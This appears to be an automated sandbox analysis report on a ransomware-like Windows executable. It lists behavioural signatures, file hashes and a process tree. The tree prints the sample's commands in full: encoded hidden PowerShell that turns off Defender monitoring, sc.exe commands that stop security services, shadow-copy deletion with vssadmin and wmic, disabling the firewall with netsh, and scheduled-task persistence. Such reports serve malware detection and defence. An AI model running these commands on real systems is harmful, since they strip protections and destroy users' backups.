Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    10/05/2026, 04:39

General

  • Target
    lokate.io_hyber.exe
  • Size 51KB
  • Sample260510-e91zhaby7j
  • SHA256 724932ab55b5ca83eb958ebe3415ae452e2dc40d5420b34f465b94e5c8e2bdf0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 25 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\lokate.io_hyber.exe
    "C:\Users\Admin\AppData\Local\Temp\lokate.io_hyber.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4740
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1956
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:2652
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1220
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:4124
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:1364
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:5892
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:5180
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:5700
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1168
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5024
      • C:\Users\Admin\AppData\Local\Temp\lokate.io_hyber.exe
        "C:\Users\Admin\AppData\Local\Temp\lokate.io_hyber.exe"
        3⤵
          PID:3224
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:3780
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\lokate.io_hyber.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2684
        • C:\Windows\System32\notepad.exe
          "C:\Windows\System32\notepad.exe"
          2⤵
            PID:2484
          • C:\Windows\System32\vssadmin.exe
            "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
            2⤵
            • Interacts with shadow copies
            PID:5340
          • C:\Windows\System32\wbem\WMIC.exe
            "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4980
          • C:\Windows\System32\net.exe
            "C:\Windows\System32\net.exe" stop srservice
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1312
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop srservice
              3⤵
                PID:2412
            • C:\Windows\System32\netsh.exe
              "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
              2⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:2988
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4788
              • C:\Windows\system32\vssadmin.exe
                vssadmin delete shadows /all /quiet
                3⤵
                • Interacts with shadow copies
                PID:2860
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic shadowcopy delete
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:5836
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1620
              • C:\Windows\system32\systeminfo.exe
                systeminfo
                3⤵
                • Gathers system information
                PID:5856
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4936
              • C:\Windows\system32\tasklist.exe
                tasklist
                3⤵
                • Enumerates processes with tasklist
                • Suspicious use of AdjustPrivilegeToken
                PID:3720
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:964
              • C:\Windows\system32\whoami.exe
                whoami
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2636
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4996
              • C:\Windows\system32\net.exe
                net user
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:5696
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 user
                  4⤵
                    PID:3076
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:5124
                • C:\Windows\system32\ipconfig.exe
                  ipconfig /all
                  3⤵
                  • Gathers network information
                  PID:6116
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4040
                • C:\Windows\system32\NETSTAT.EXE
                  netstat -an
                  3⤵
                  • Gathers network information
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5548
              • C:\Windows\SYSTEM32\schtasks.exe
                "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\lokate.io_hyber.exe" /sc daily /f
                2⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1960
              • C:\Windows\System32\wscript.exe
                "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                2⤵
                  PID:3196
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:1012
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:5612
              • C:\Windows\system32\LogonUI.exe
                "LogonUI.exe" /flags:0x0 /state0:0xa3948855 /state1:0x41c64e6d
                1⤵
                • Drops desktop.ini file(s)
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:5732
              • C:\Users\Admin\AppData\Local\Temp\lokate.io_hyber.exe
                C:\Users\Admin\AppData\Local\Temp\lokate.io_hyber.exe
                1⤵
                  PID:440
                • C:\Users\Admin\AppData\Local\Temp\lokate.io_hyber.exe
                  C:\Users\Admin\AppData\Local\Temp\lokate.io_hyber.exe
                  1⤵
                    PID:5872
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5164

                  Network

                        MITRE ATT&CK Enterprise v16

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                        Downloads

                        LockScreen___1920_1080_notdimmed.jpg

                        • Path C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-721190819-434563495-2007910846-1000\ReadOnly\LockScreen_O\LockScreen___1920_1080_notdimmed.jpg
                        • Size 549KB
                        • SHA256 d875355b24fbb74802b79b2fc322a3793df3bbe0ef4a51e2e23f1e31e44183a9
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        invoice_1.pdf

                        • Path C:\ProgramData\invoice_1.pdf
                        • Size 69KB
                        • SHA256 db42a693b58753b19f90d7a03f84d098a706e7206e5d81810912943b26675e48
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        doc_3.pdf

                        • Path C:\SystemVolumeInformation\doc_3.pdf
                        • Size 68KB
                        • SHA256 8712c49be4eecb257433cf91e87ed31b34d5cfad51ae2b518a0410465ee934cb
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        lokate.io_hyber.exe.log

                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\lokate.io_hyber.exe.log
                        • Size 660B
                        • SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
                        • MD5 SHA1 SHA512 TLSH

                        __PSScriptPolicyTest_04mkp5so.ytb.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_04mkp5so.ytb.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        createshortcut.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 240B
                        • SHA256 f98224b7647d4539dc20191ad6034672885419a215a7687f38338667f906835b
                        • MD5 SHA1 SHA512 TLSH

                        del.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH

                        makelnk.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                        • Size 241B
                        • SHA256 f7713b36cd0d8a7e320797b8ce7479749ce6add647473caf5d5707b46b5bcc8e
                        • MD5 SHA1 SHA512 TLSH

                        DecryptAllFiles.exe

                        • Path C:\Users\Admin\Desktop\DecryptAllFiles.exe
                        • Size 51KB
                        • SHA256 724932ab55b5ca83eb958ebe3415ae452e2dc40d5420b34f465b94e5c8e2bdf0
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/1956-26-0x000002A81CF50000-0x000002A81CF72000-memory.dmp

                        memory/1956-30-0x000002A81B610000-0x000002A81B61C000-memory.dmp

                        memory/2484-2251-0x0000024AD0A90000-0x0000024AD0A91000-memory.dmp

                        memory/2484-2268-0x0000024ACF0C0000-0x0000024ACF1D5000-memory.dmp

                        memory/3196-2266-0x0000024F18500000-0x0000024F1850C000-memory.dmp

                        memory/3196-2265-0x0000024F182B0000-0x0000024F183C5000-memory.dmp

                        memory/3780-2151-0x0000010C8EC40000-0x0000010C8EC4C000-memory.dmp

                        memory/3780-2150-0x0000010C904F0000-0x0000010C90605000-memory.dmp

                        memory/4740-1941-0x0000000002680000-0x000000000268C000-memory.dmp

                        memory/4740-0-0x0000000000610000-0x0000000000624000-memory.dmp

                        memory/4740-15-0x000000001DF00000-0x000000001E428000-memory.dmp

                        memory/4740-14-0x000000001DC30000-0x000000001DDF2000-memory.dmp

                        memory/4740-1944-0x000000001B440000-0x000000001B450000-memory.dmp

                        memory/4740-1942-0x000000001B450000-0x000000001B565000-memory.dmp

                        memory/4740-1-0x000000001B440000-0x000000001B450000-memory.dmp

                        memory/5732-1943-0x000001A435B80000-0x000001A435C95000-memory.dmp